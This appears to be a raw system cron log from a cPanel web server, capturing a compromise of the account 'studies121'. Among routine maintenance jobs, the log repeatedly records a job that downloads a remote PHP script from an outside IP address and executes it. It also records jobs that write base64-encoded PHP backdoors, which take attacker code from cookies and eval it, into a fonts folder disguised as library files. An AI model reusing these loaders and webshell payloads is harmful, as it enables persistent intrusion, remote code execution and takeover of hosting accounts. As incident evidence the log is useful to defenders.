Sep 11 23:52:01 ip-184-168-122-23 CROND[23732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:52:01 ip-184-168-122-23 CROND[23735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:53:01 ip-184-168-122-23 CROND[23822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:53:01 ip-184-168-122-23 CROND[23823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:53:01 ip-184-168-122-23 CROND[23825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:53:01 ip-184-168-122-23 CROND[23824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:53:01 ip-184-168-122-23 CROND[23831]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep 11 23:54:01 ip-184-168-122-23 CROND[23922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:54:01 ip-184-168-122-23 CROND[23926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:54:01 ip-184-168-122-23 CROND[23923]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:54:01 ip-184-168-122-23 CROND[23925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:54:01 ip-184-168-122-23 CROND[23924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:55:01 ip-184-168-122-23 CROND[24103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:55:01 ip-184-168-122-23 CROND[24106]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:55:01 ip-184-168-122-23 CROND[24108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:55:01 ip-184-168-122-23 CROND[24107]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:55:01 ip-184-168-122-23 CROND[24104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:55:01 ip-184-168-122-23 CROND[24105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:56:01 ip-184-168-122-23 CROND[24207]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:56:01 ip-184-168-122-23 CROND[24209]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:56:01 ip-184-168-122-23 CROND[24210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:56:01 ip-184-168-122-23 CROND[24212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:56:01 ip-184-168-122-23 CROND[24211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:57:01 ip-184-168-122-23 CROND[24304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:57:01 ip-184-168-122-23 CROND[24306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:57:01 ip-184-168-122-23 CROND[24305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:57:01 ip-184-168-122-23 CROND[24307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:58:01 ip-184-168-122-23 CROND[24396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:58:01 ip-184-168-122-23 CROND[24400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:58:01 ip-184-168-122-23 CROND[24399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:58:01 ip-184-168-122-23 CROND[24398]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:58:01 ip-184-168-122-23 CROND[24401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:59:01 ip-184-168-122-23 CROND[24517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:59:01 ip-184-168-122-23 CROND[24518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:59:01 ip-184-168-122-23 CROND[24519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:59:01 ip-184-168-122-23 CROND[24520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:00:01 ip-184-168-122-23 CROND[24690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:00:01 ip-184-168-122-23 CROND[24696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:00:01 ip-184-168-122-23 CROND[24694]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 00:00:01 ip-184-168-122-23 CROND[24693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:00:01 ip-184-168-122-23 CROND[24699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:00:02 ip-184-168-122-23 CROND[24702]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:00:02 ip-184-168-122-23 CROND[24701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:00:02 ip-184-168-122-23 CROND[24703]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 00:00:02 ip-184-168-122-23 CROND[24700]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:01:02 ip-184-168-122-23 CROND[24800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:01:02 ip-184-168-122-23 CROND[24802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:01:02 ip-184-168-122-23 CROND[24804]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 00:01:02 ip-184-168-122-23 CROND[24808]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 00:01:02 ip-184-168-122-23 CROND[24809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:01:02 ip-184-168-122-23 CROND[24807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24804]: starting 0anacron
Sep 12 00:01:02 ip-184-168-122-23 anacron[24823]: Anacron started on 2026-09-12
Sep 12 00:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24825]: finished 0anacron
Sep 12 00:01:02 ip-184-168-122-23 anacron[24823]: Normal exit (0 jobs run)
Sep 12 00:02:01 ip-184-168-122-23 CROND[24913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:02:01 ip-184-168-122-23 CROND[24915]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:02:01 ip-184-168-122-23 CROND[24917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:02:01 ip-184-168-122-23 CROND[24918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:02:02 ip-184-168-122-23 CROND[24916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:03:01 ip-184-168-122-23 CROND[25003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:03:01 ip-184-168-122-23 CROND[25002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:03:01 ip-184-168-122-23 CROND[25004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:03:01 ip-184-168-122-23 CROND[25005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:04:01 ip-184-168-122-23 CROND[25101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:04:01 ip-184-168-122-23 CROND[25103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:04:01 ip-184-168-122-23 CROND[25104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:04:01 ip-184-168-122-23 CROND[25106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
